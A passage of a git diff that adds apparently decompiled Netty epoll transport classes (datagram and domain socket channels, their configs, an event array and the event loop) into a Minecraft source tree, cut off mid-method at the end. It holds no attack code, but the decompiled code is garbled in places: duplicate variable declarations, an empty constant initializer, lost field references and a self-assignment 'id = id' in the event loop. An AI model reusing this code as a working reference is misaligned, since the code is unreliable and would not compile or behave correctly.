+      remoteAddress = null;
+    }
+    
+    int dataLen = data.readableBytes();
+    if (dataLen == 0) {
+      return true;
+    }
+    
+    if (remoteAddress == null) {
+      remoteAddress = remote;
+      if (remoteAddress == null) {
+        throw new NotYetConnectedException();
+      }
+    }
+    int writtenBytes;
+    int writtenBytes;
+    if (data.hasMemoryAddress()) {
+      long memoryAddress = data.memoryAddress();
+      writtenBytes = Native.sendToAddress(fd, memoryAddress, data.readerIndex(), data.writerIndex(), remoteAddress.getAddress(), remoteAddress.getPort());
+    }
+    else {
+      ByteBuffer nioData = data.internalNioBuffer(data.readerIndex(), data.readableBytes());
+      writtenBytes = Native.sendTo(fd, nioData, nioData.position(), nioData.limit(), remoteAddress.getAddress(), remoteAddress.getPort());
+    }
+    
+
+    return writtenBytes > 0;
+  }
+  
+  protected Object filterOutboundMessage(Object msg)
+  {
+    if ((msg instanceof DatagramPacket)) {
+      DatagramPacket packet = (DatagramPacket)msg;
+      ByteBuf content = (ByteBuf)packet.content();
+      if (content.hasMemoryAddress()) {
+        return msg;
+      }
+      
+
+
+      return new DatagramPacket(newDirectBuffer(packet, content), (InetSocketAddress)packet.recipient());
+    }
+    
+    if ((msg instanceof ByteBuf)) {
+      ByteBuf buf = (ByteBuf)msg;
+      if (buf.hasMemoryAddress()) {
+        return msg;
+      }
+      
+
+
+      return newDirectBuffer(buf);
+    }
+    
+    if ((msg instanceof AddressedEnvelope))
+    {
+      AddressedEnvelope<Object, SocketAddress> e = (AddressedEnvelope)msg;
+      if (((e.content() instanceof ByteBuf)) && ((e.recipient() == null) || ((e.recipient() instanceof InetSocketAddress))))
+      {
+
+        ByteBuf content = (ByteBuf)e.content();
+        if (content.hasMemoryAddress()) {
+          return e;
+        }
+        
+
+
+        return new DefaultAddressedEnvelope(newDirectBuffer(e, content), (InetSocketAddress)e.recipient());
+      }
+    }
+    
+
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + EXPECTED_TYPES);
+  }
+  
+
+  public EpollDatagramChannelConfig config()
+  {
+    return config;
+  }
+  
+
+
+  protected void doDisconnect() throws Exception { connected = false; }
+  
+  final class EpollDatagramChannelUnsafe extends AbstractEpollChannel.AbstractEpollUnsafe {
+    EpollDatagramChannelUnsafe() { super(); }
+    
+
+    public void connect(SocketAddress remote, SocketAddress local, ChannelPromise channelPromise)
+    {
+      boolean success = false;
+      try {
+        try {
+          InetSocketAddress remoteAddress = (InetSocketAddress)remote;
+          if (local != null) {
+            InetSocketAddress localAddress = (InetSocketAddress)local;
+            doBind(localAddress);
+          }
+          
+          AbstractEpollChannel.checkResolvable(remoteAddress);
+          EpollDatagramChannel.this.remote = remoteAddress;
+          EpollDatagramChannel.this.local = Native.localAddress(fd);
+          success = true;
+        } finally {
+          if (!success) {
+            doClose();
+          } else {
+            channelPromise.setSuccess();
+            connected = true;
+          }
+        }
+      } catch (Throwable cause) {
+        channelPromise.setFailure(cause);
+      }
+    }
+    
+    void epollInReady()
+    {
+      DatagramChannelConfig config = config();
+      RecvByteBufAllocator.Handle allocHandle = this.allocHandle;
+      if (allocHandle == null) {
+        this.allocHandle = (allocHandle = config.getRecvByteBufAllocator().newHandle());
+      }
+      
+      assert (eventLoop().inEventLoop());
+      ChannelPipeline pipeline = pipeline();
+      try {
+        for (;;) {
+          ByteBuf data = null;
+          try {
+            data = allocHandle.allocate(config.getAllocator());
+            int writerIndex = data.writerIndex();
+            EpollDatagramChannel.DatagramSocketAddress remoteAddress;
+            EpollDatagramChannel.DatagramSocketAddress remoteAddress; if (data.hasMemoryAddress())
+            {
+              remoteAddress = Native.recvFromAddress(fd, data.memoryAddress(), writerIndex, data.capacity());
+            }
+            else {
+              ByteBuffer nioData = data.internalNioBuffer(writerIndex, data.writableBytes());
+              remoteAddress = Native.recvFrom(fd, nioData, nioData.position(), nioData.limit());
+            }
+            
+
+            if (remoteAddress == null)
+            {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+              if (data == null) break;
+              data.release(); break;
+            }
+            int readBytes = receivedAmount;
+            data.writerIndex(data.writerIndex() + readBytes);
+            allocHandle.record(readBytes);
+            readPending = false;
+            pipeline.fireChannelRead(new DatagramPacket(data, (InetSocketAddress)localAddress(), remoteAddress));
+            
+            data = null;
+          }
+          catch (Throwable t) {
+            pipeline.fireChannelReadComplete();
+            pipeline.fireExceptionCaught(t);
+          } finally {
+            if (data != null) {
+              data.release();
+            }
+            
+          }
+          
+        }
+        
+
+      }
+      finally
+      {
+        if ((!config().isAutoRead()) && (!readPending)) {
+          clearEpollIn();
+        }
+      }
+    }
+    
+
+    private RecvByteBufAllocator.Handle allocHandle;
+  }
+  
+
+  static final class DatagramSocketAddress
+    extends InetSocketAddress
+  {
+    private static final long serialVersionUID = 1348596211215015739L;
+    final int receivedAmount;
+    
+    DatagramSocketAddress(String addr, int port, int receivedAmount)
+    {
+      super(port);
+      this.receivedAmount = receivedAmount;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollDatagramChannelConfig.java b/src/minecraft/io/netty/channel/epoll/EpollDatagramChannelConfig.java
new file mode 100644
index 0000000..a48c39a
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollDatagramChannelConfig.java
@@ -0,0 +1,311 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.FixedRecvByteBufAllocator;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.socket.DatagramChannelConfig;
+import java.net.InetAddress;
+import java.net.NetworkInterface;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollDatagramChannelConfig
+  extends DefaultChannelConfig
+  implements DatagramChannelConfig
+{
+  private static final RecvByteBufAllocator DEFAULT_RCVBUF_ALLOCATOR = new FixedRecvByteBufAllocator(2048);
+  private final EpollDatagramChannel datagramChannel;
+  private boolean activeOnOpen;
+  
+  EpollDatagramChannelConfig(EpollDatagramChannel channel) {
+    super(channel);
+    datagramChannel = channel;
+    setRecvByteBufAllocator(DEFAULT_RCVBUF_ALLOCATOR);
+  }
+  
+
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { ChannelOption.SO_BROADCAST, ChannelOption.SO_RCVBUF, ChannelOption.SO_SNDBUF, ChannelOption.SO_REUSEADDR, ChannelOption.IP_MULTICAST_LOOP_DISABLED, ChannelOption.IP_MULTICAST_ADDR, ChannelOption.IP_MULTICAST_IF, ChannelOption.IP_MULTICAST_TTL, ChannelOption.IP_TOS, ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION, EpollChannelOption.SO_REUSEPORT });
+  }
+  
+
+
+
+
+
+
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == ChannelOption.SO_BROADCAST) {
+      return Boolean.valueOf(isBroadcast());
+    }
+    if (option == ChannelOption.SO_RCVBUF) {
+      return Integer.valueOf(getReceiveBufferSize());
+    }
+    if (option == ChannelOption.SO_SNDBUF) {
+      return Integer.valueOf(getSendBufferSize());
+    }
+    if (option == ChannelOption.SO_REUSEADDR) {
+      return Boolean.valueOf(isReuseAddress());
+    }
+    if (option == ChannelOption.IP_MULTICAST_LOOP_DISABLED) {
+      return Boolean.valueOf(isLoopbackModeDisabled());
+    }
+    if (option == ChannelOption.IP_MULTICAST_ADDR) {
+      return getInterface();
+    }
+    if (option == ChannelOption.IP_MULTICAST_IF) {
+      return getNetworkInterface();
+    }
+    if (option == ChannelOption.IP_MULTICAST_TTL) {
+      return Integer.valueOf(getTimeToLive());
+    }
+    if (option == ChannelOption.IP_TOS) {
+      return Integer.valueOf(getTrafficClass());
+    }
+    if (option == ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION) {
+      return Boolean.valueOf(activeOnOpen);
+    }
+    if (option == EpollChannelOption.SO_REUSEPORT) {
+      return Boolean.valueOf(isReusePort());
+    }
+    return super.getOption(option);
+  }
+  
+
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == ChannelOption.SO_BROADCAST) {
+      setBroadcast(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.SO_RCVBUF) {
+      setReceiveBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_SNDBUF) {
+      setSendBufferSize(((Integer)value).intValue());
+    } else if (option == ChannelOption.SO_REUSEADDR) {
+      setReuseAddress(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.IP_MULTICAST_LOOP_DISABLED) {
+      setLoopbackModeDisabled(((Boolean)value).booleanValue());
+    } else if (option == ChannelOption.IP_MULTICAST_ADDR) {
+      setInterface((InetAddress)value);
+    } else if (option == ChannelOption.IP_MULTICAST_IF) {
+      setNetworkInterface((NetworkInterface)value);
+    } else if (option == ChannelOption.IP_MULTICAST_TTL) {
+      setTimeToLive(((Integer)value).intValue());
+    } else if (option == ChannelOption.IP_TOS) {
+      setTrafficClass(((Integer)value).intValue());
+    } else if (option == ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION) {
+      setActiveOnOpen(((Boolean)value).booleanValue());
+    } else if (option == EpollChannelOption.SO_REUSEPORT) {
+      setReusePort(((Boolean)value).booleanValue());
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  private void setActiveOnOpen(boolean activeOnOpen) {
+    if (channel.isRegistered()) {
+      throw new IllegalStateException("Can only changed before channel was registered");
+    }
+    this.activeOnOpen = activeOnOpen;
+  }
+  
+  public EpollDatagramChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+  
+  public EpollDatagramChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  public EpollDatagramChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public EpollDatagramChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public EpollDatagramChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public EpollDatagramChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public EpollDatagramChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public EpollDatagramChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public EpollDatagramChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public EpollDatagramChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public int getSendBufferSize()
+  {
+    return Native.getSendBufferSize(datagramChannel.fd);
+  }
+  
+  public EpollDatagramChannelConfig setSendBufferSize(int sendBufferSize)
+  {
+    Native.setSendBufferSize(datagramChannel.fd, sendBufferSize);
+    return this;
+  }
+  
+  public int getReceiveBufferSize()
+  {
+    return Native.getReceiveBufferSize(datagramChannel.fd);
+  }
+  
+  public EpollDatagramChannelConfig setReceiveBufferSize(int receiveBufferSize)
+  {
+    Native.setReceiveBufferSize(datagramChannel.fd, receiveBufferSize);
+    return this;
+  }
+  
+  public int getTrafficClass()
+  {
+    return Native.getTrafficClass(datagramChannel.fd);
+  }
+  
+  public EpollDatagramChannelConfig setTrafficClass(int trafficClass)
+  {
+    Native.setTrafficClass(datagramChannel.fd, trafficClass);
+    return this;
+  }
+  
+  public boolean isReuseAddress()
+  {
+    return Native.isReuseAddress(datagramChannel.fd) == 1;
+  }
+  
+  public EpollDatagramChannelConfig setReuseAddress(boolean reuseAddress)
+  {
+    Native.setReuseAddress(datagramChannel.fd, reuseAddress ? 1 : 0);
+    return this;
+  }
+  
+  public boolean isBroadcast()
+  {
+    return Native.isBroadcast(datagramChannel.fd) == 1;
+  }
+  
+  public EpollDatagramChannelConfig setBroadcast(boolean broadcast)
+  {
+    Native.setBroadcast(datagramChannel.fd, broadcast ? 1 : 0);
+    return this;
+  }
+  
+  public boolean isLoopbackModeDisabled()
+  {
+    return false;
+  }
+  
+  public DatagramChannelConfig setLoopbackModeDisabled(boolean loopbackModeDisabled)
+  {
+    throw new UnsupportedOperationException("Multicast not supported");
+  }
+  
+  public int getTimeToLive()
+  {
+    return -1;
+  }
+  
+  public EpollDatagramChannelConfig setTimeToLive(int ttl)
+  {
+    throw new UnsupportedOperationException("Multicast not supported");
+  }
+  
+  public InetAddress getInterface()
+  {
+    return null;
+  }
+  
+  public EpollDatagramChannelConfig setInterface(InetAddress interfaceAddress)
+  {
+    throw new UnsupportedOperationException("Multicast not supported");
+  }
+  
+  public NetworkInterface getNetworkInterface()
+  {
+    return null;
+  }
+  
+  public EpollDatagramChannelConfig setNetworkInterface(NetworkInterface networkInterface)
+  {
+    throw new UnsupportedOperationException("Multicast not supported");
+  }
+  
+
+
+  public boolean isReusePort()
+  {
+    return Native.isReusePort(datagramChannel.fd) == 1;
+  }
+  
+
+
+
+
+
+
+  public EpollDatagramChannelConfig setReusePort(boolean reusePort)
+  {
+    Native.setReusePort(datagramChannel.fd, reusePort ? 1 : 0);
+    return this;
+  }
+  
+  protected void autoReadCleared()
+  {
+    datagramChannel.clearEpollIn();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollDomainSocketChannel.java b/src/minecraft/io/netty/channel/epoll/EpollDomainSocketChannel.java
new file mode 100644
index 0000000..fa821ad
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollDomainSocketChannel.java
@@ -0,0 +1,194 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.unix.DomainSocketAddress;
+import io.netty.channel.unix.DomainSocketChannel;
+import io.netty.channel.unix.FileDescriptor;
+import io.netty.channel.unix.Socket;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollDomainSocketChannel
+  extends AbstractEpollStreamChannel
+  implements DomainSocketChannel
+{
+  private final EpollDomainSocketChannelConfig config = new EpollDomainSocketChannelConfig(this);
+  private volatile DomainSocketAddress local;
+  private volatile DomainSocketAddress remote;
+  
+  public EpollDomainSocketChannel()
+  {
+    super(Socket.newSocketDomain(), false);
+  }
+  
+
+
+  @Deprecated
+  public EpollDomainSocketChannel(Channel parent, FileDescriptor fd)
+  {
+    super(parent, new Socket(fd.intValue()));
+  }
+  
+
+
+
+
+  @Deprecated
+  public EpollDomainSocketChannel(FileDescriptor fd)
+  {
+    super(fd);
+  }
+  
+  public EpollDomainSocketChannel(Channel parent, Socket fd) {
+    super(parent, fd);
+  }
+  
+
+
+  public EpollDomainSocketChannel(Socket fd, boolean active)
+  {
+    super(fd, active);
+  }
+  
+  protected AbstractEpollChannel.AbstractEpollUnsafe newUnsafe()
+  {
+    return new EpollDomainUnsafe(null);
+  }
+  
+  protected DomainSocketAddress localAddress0()
+  {
+    return local;
+  }
+  
+  protected DomainSocketAddress remoteAddress0()
+  {
+    return remote;
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    fd().bind(localAddress);
+    local = ((DomainSocketAddress)localAddress);
+  }
+  
+  public EpollDomainSocketChannelConfig config()
+  {
+    return config;
+  }
+  
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress) throws Exception
+  {
+    if (super.doConnect(remoteAddress, localAddress)) {
+      local = ((DomainSocketAddress)localAddress);
+      remote = ((DomainSocketAddress)remoteAddress);
+      return true;
+    }
+    return false;
+  }
+  
+  public DomainSocketAddress remoteAddress()
+  {
+    return (DomainSocketAddress)super.remoteAddress();
+  }
+  
+  public DomainSocketAddress localAddress()
+  {
+    return (DomainSocketAddress)super.localAddress();
+  }
+  
+  protected boolean doWriteSingle(ChannelOutboundBuffer in, int writeSpinCount) throws Exception
+  {
+    Object msg = in.current();
+    if (((msg instanceof FileDescriptor)) && (Native.sendFd(fd().intValue(), ((FileDescriptor)msg).intValue()) > 0))
+    {
+      in.remove();
+      return true;
+    }
+    return super.doWriteSingle(in, writeSpinCount);
+  }
+  
+  protected Object filterOutboundMessage(Object msg)
+  {
+    if ((msg instanceof FileDescriptor)) {
+      return msg;
+    }
+    return super.filterOutboundMessage(msg);
+  }
+  
+  private final class EpollDomainUnsafe extends AbstractEpollStreamChannel.EpollStreamUnsafe { private EpollDomainUnsafe() { super(); }
+    
+    void epollInReady() {
+      switch (EpollDomainSocketChannel.1.$SwitchMap$io$netty$channel$unix$DomainSocketReadMode[config().getReadMode().ordinal()]) {
+      case 1: 
+        super.epollInReady();
+        break;
+      case 2: 
+        epollInReadFd();
+        break;
+      default: 
+        throw new Error();
+      }
+    }
+    
+    private void epollInReadFd() {
+      if (fd().isInputShutdown()) {
+        clearEpollIn0();
+        return;
+      }
+      ChannelConfig config = config();
+      EpollRecvByteAllocatorHandle allocHandle = recvBufAllocHandle();
+      allocHandle.edgeTriggered(isFlagSet(Native.EPOLLET));
+      
+      ChannelPipeline pipeline = pipeline();
+      allocHandle.reset(config);
+      epollInBefore();
+      
+
+      try
+      {
+        do
+        {
+          allocHandle.lastBytesRead(Native.recvFd(fd().intValue()));
+          switch (allocHandle.lastBytesRead()) {
+          case 0: 
+            break;
+          case -1: 
+            close(voidPromise()); return;
+          
+          default: 
+            allocHandle.incMessagesRead(1);
+            readPending = false;
+            pipeline.fireChannelRead(new FileDescriptor(allocHandle.lastBytesRead()));
+          }
+          
+        } while (allocHandle.continueReading());
+        
+        allocHandle.readComplete();
+        pipeline.fireChannelReadComplete();
+      } catch (Throwable t) {
+        allocHandle.readComplete();
+        pipeline.fireChannelReadComplete();
+        pipeline.fireExceptionCaught(t);
+      } finally {
+        epollInFinally(config);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollDomainSocketChannelConfig.java b/src/minecraft/io/netty/channel/epoll/EpollDomainSocketChannelConfig.java
new file mode 100644
index 0000000..7257d74
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollDomainSocketChannelConfig.java
@@ -0,0 +1,151 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.WriteBufferWaterMark;
+import io.netty.channel.unix.DomainSocketChannelConfig;
+import io.netty.channel.unix.DomainSocketReadMode;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class EpollDomainSocketChannelConfig
+  extends EpollChannelConfig
+  implements DomainSocketChannelConfig
+{
+  private volatile DomainSocketReadMode mode = DomainSocketReadMode.BYTES;
+  
+  EpollDomainSocketChannelConfig(AbstractEpollChannel channel) {
+    super(channel);
+  }
+  
+  public Map<ChannelOption<?>, Object> getOptions()
+  {
+    return getOptions(super.getOptions(), new ChannelOption[] { EpollChannelOption.DOMAIN_SOCKET_READ_MODE });
+  }
+  
+
+  public <T> T getOption(ChannelOption<T> option)
+  {
+    if (option == EpollChannelOption.DOMAIN_SOCKET_READ_MODE) {
+      return getReadMode();
+    }
+    return super.getOption(option);
+  }
+  
+  public <T> boolean setOption(ChannelOption<T> option, T value)
+  {
+    validate(option, value);
+    
+    if (option == EpollChannelOption.DOMAIN_SOCKET_READ_MODE) {
+      setReadMode((DomainSocketReadMode)value);
+    } else {
+      return super.setOption(option, value);
+    }
+    
+    return true;
+  }
+  
+  @Deprecated
+  public EpollDomainSocketChannelConfig setMaxMessagesPerRead(int maxMessagesPerRead)
+  {
+    super.setMaxMessagesPerRead(maxMessagesPerRead);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setConnectTimeoutMillis(int connectTimeoutMillis)
+  {
+    super.setConnectTimeoutMillis(connectTimeoutMillis);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setWriteSpinCount(int writeSpinCount)
+  {
+    super.setWriteSpinCount(writeSpinCount);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator allocator)
+  {
+    super.setRecvByteBufAllocator(allocator);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setAllocator(ByteBufAllocator allocator)
+  {
+    super.setAllocator(allocator);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setAutoClose(boolean autoClose)
+  {
+    super.setAutoClose(autoClose);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator estimator)
+  {
+    super.setMessageSizeEstimator(estimator);
+    return this;
+  }
+  
+  @Deprecated
+  public EpollDomainSocketChannelConfig setWriteBufferLowWaterMark(int writeBufferLowWaterMark)
+  {
+    super.setWriteBufferLowWaterMark(writeBufferLowWaterMark);
+    return this;
+  }
+  
+  @Deprecated
+  public EpollDomainSocketChannelConfig setWriteBufferHighWaterMark(int writeBufferHighWaterMark)
+  {
+    super.setWriteBufferHighWaterMark(writeBufferHighWaterMark);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setWriteBufferWaterMark(WriteBufferWaterMark writeBufferWaterMark)
+  {
+    super.setWriteBufferWaterMark(writeBufferWaterMark);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setEpollMode(EpollMode mode)
+  {
+    super.setEpollMode(mode);
+    return this;
+  }
+  
+  public EpollDomainSocketChannelConfig setReadMode(DomainSocketReadMode mode)
+  {
+    if (mode == null) {
+      throw new NullPointerException("mode");
+    }
+    this.mode = mode;
+    return this;
+  }
+  
+  public DomainSocketReadMode getReadMode()
+  {
+    return mode;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollEventArray.java b/src/minecraft/io/netty/channel/epoll/EpollEventArray.java
new file mode 100644
index 0000000..7c215f9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollEventArray.java
@@ -0,0 +1,104 @@
+package io.netty.channel.epoll;
+
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class EpollEventArray
+{
+  private static final int EPOLL_EVENT_SIZE = ;
+  
+  private static final int EPOLL_DATA_OFFSET = Native.offsetofEpollData();
+  private long memoryAddress;
+  private int length;
+  
+  EpollEventArray(int length)
+  {
+    if (length < 1) {
+      throw new IllegalArgumentException("length must be >= 1 but was " + length);
+    }
+    this.length = length;
+    memoryAddress = allocate(length);
+  }
+  
+  private static long allocate(int length) {
+    return PlatformDependent.allocateMemory(length * EPOLL_EVENT_SIZE);
+  }
+  
+
+
+  long memoryAddress()
+  {
+    return memoryAddress;
+  }
+  
+
+
+
+  int length()
+  {
+    return length;
+  }
+  
+
+
+
+  void increase()
+  {
+    length <<= 1;
+    free();
+    memoryAddress = allocate(length);
+  }
+  
+
+
+  void free()
+  {
+    PlatformDependent.freeMemory(memoryAddress);
+  }
+  
+
+
+  int events(int index)
+  {
+    return PlatformDependent.getInt(memoryAddress + index * EPOLL_EVENT_SIZE);
+  }
+  
+
+
+  int fd(int index)
+  {
+    return PlatformDependent.getInt(memoryAddress + index * EPOLL_EVENT_SIZE + EPOLL_DATA_OFFSET);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/EpollEventLoop.java b/src/minecraft/io/netty/channel/epoll/EpollEventLoop.java
new file mode 100644
index 0000000..c2823ca
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/EpollEventLoop.java
@@ -0,0 +1,349 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.EventLoopGroup;
+import io.netty.channel.SingleThreadEventLoop;
+import io.netty.util.collection.IntObjectHashMap;
+import io.netty.util.collection.IntObjectMap;
+import io.netty.util.collection.IntObjectMap.Entry;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Queue;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+final class EpollEventLoop
+  extends SingleThreadEventLoop
+{
+  private static final InternalLogger logger;
+  private static final AtomicIntegerFieldUpdater<EpollEventLoop> WAKEN_UP_UPDATER;
+  private final int epollFd;
+  private final int eventFd;
+  
+  static
+  {
+    logger = InternalLoggerFactory.getInstance(EpollEventLoop.class);
+    
+
+
+    AtomicIntegerFieldUpdater<EpollEventLoop> updater = PlatformDependent.newAtomicIntegerFieldUpdater(EpollEventLoop.class, "wakenUp");
+    
+    if (updater == null) {
+      updater = AtomicIntegerFieldUpdater.newUpdater(EpollEventLoop.class, "wakenUp");
+    }
+    WAKEN_UP_UPDATER = updater;
+  }
+  
+
+
+  private final IntObjectMap<AbstractEpollChannel> ids = new IntObjectHashMap();
+  
+  private final long[] events;
+  
+  private int id;
+  
+  private boolean overflown;
+  private volatile int wakenUp;
+  private volatile int ioRatio = 50;
+  
+  EpollEventLoop(EventLoopGroup parent, ThreadFactory threadFactory, int maxEvents) {
+    super(parent, threadFactory, false);
+    events = new long[maxEvents];
+    boolean success = false;
+    int epollFd = -1;
+    int eventFd = -1;
+    try {
+      this.epollFd = (epollFd = Native.epollCreate());
+      this.eventFd = (eventFd = Native.eventFd());
+      Native.epollCtlAdd(epollFd, eventFd, 1, 0);
+      success = true; return;
+    } finally {
+      if (!success) {
+        if (epollFd != -1) {
+          try {
+            Native.close(epollFd);
+          }
+          catch (Exception e) {}
+        }
+        
+        if (eventFd != -1) {
+          try {
+            Native.close(eventFd);
+          }
+          catch (Exception e) {}
+        }
+      }
+    }
+  }
+  
+  private int nextId()
+  {
+    int id = this.id;
+    if (id == Integer.MAX_VALUE) {
+      overflown = true;
+      id = 0;
+    }
+    if (overflown)
+    {
+
+
+      while (ids.containsKey(++id)) {}
+      this.id = id;
+
+    }
+    else
+    {
+      this.id = (++id);
+    }
+    return id;
+  }
+  
+  protected void wakeup(boolean inEventLoop)
+  {
+    if ((!inEventLoop) && (WAKEN_UP_UPDATER.compareAndSet(this, 0, 1)))
+    {
+      Native.eventFdWrite(eventFd, 1L);
+    }
+  }
+  
+
+
+  void add(AbstractEpollChannel ch)
+  {
+    assert (inEventLoop());
+    int id = nextId();
+    Native.epollCtlAdd(epollFd, fd, flags, id);
+    id = id;
+    ids.put(id, ch);
+  }
+  
+
+
+  void modify(AbstractEpollChannel ch)
+  {
+    assert (inEventLoop());
+    Native.epollCtlMod(epollFd, fd, flags, id);
+  }
+  
+
+
+  void remove(AbstractEpollChannel ch)
+  {
+    assert (inEventLoop());
+    if ((ids.remove(id) != null) && (ch.isOpen()))
+    {
+
+      Native.epollCtlDel(epollFd, fd);
+    }
+  }
+  
+
+  protected Queue<Runnable> newTaskQueue()
+  {
+    return PlatformDependent.newMpscQueue();
+  }
+  
+
+
+  public int getIoRatio()
+  {
+    return ioRatio;
+  }
+  
+
+
+
+  public void setIoRatio(int ioRatio)
+  {
+    if ((ioRatio <= 0) || (ioRatio > 100)) {
+      throw new IllegalArgumentException("ioRatio: " + ioRatio + " (expected: 0 < ioRatio <= 100)");
+    }
+    this.ioRatio = ioRatio;
+  }
+  
+  private int epollWait(boolean oldWakenUp) {
+    int selectCnt = 0;
+    long currentTimeNanos = System.nanoTime();
+    long selectDeadLineNanos = currentTimeNanos + delayNanos(currentTimeNanos);
+    for (;;) {
+      long timeoutMillis = (selectDeadLineNanos - currentTimeNanos + 500000L) / 1000000L;
+      if (timeoutMillis <= 0L) {
+        if (selectCnt != 0) break;
+        int ready = Native.epollWait(epollFd, events, 0);
+        if (ready > 0) {
+          return ready;
+        }
+        break;
+      }
+      
+
+      int selectedKeys = Native.epollWait(epollFd, events, (int)timeoutMillis);
+      selectCnt++;
+      
+      if ((selectedKeys != 0) || (oldWakenUp) || (wakenUp == 1) || (hasTasks()) || (hasScheduledTasks()))
+      {
+
+
+
+        return selectedKeys;
+      }
+      currentTimeNanos = System.nanoTime();
+    }
+    return 0;
+  }
+  
+  protected void run()
+  {
+    for (;;) {
+      boolean oldWakenUp = WAKEN_UP_UPDATER.getAndSet(this, 0) == 1;
+      try { int ready;
+        int ready;
+        if (hasTasks())
+        {
+          ready = Native.epollWait(epollFd, events, 0);
+        } else {
+          ready = epollWait(oldWakenUp);
+          
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+          if (wakenUp == 1) {
+            Native.eventFdWrite(eventFd, 1L);
+          }
+        }
+        
+        int ioRatio = this.ioRatio;
+        if (ioRatio == 100) {
+          if (ready > 0) {
+            processReady(events, ready);
+          }
+          runAllTasks();
+        } else {
+          long ioStartTime = System.nanoTime();
+          
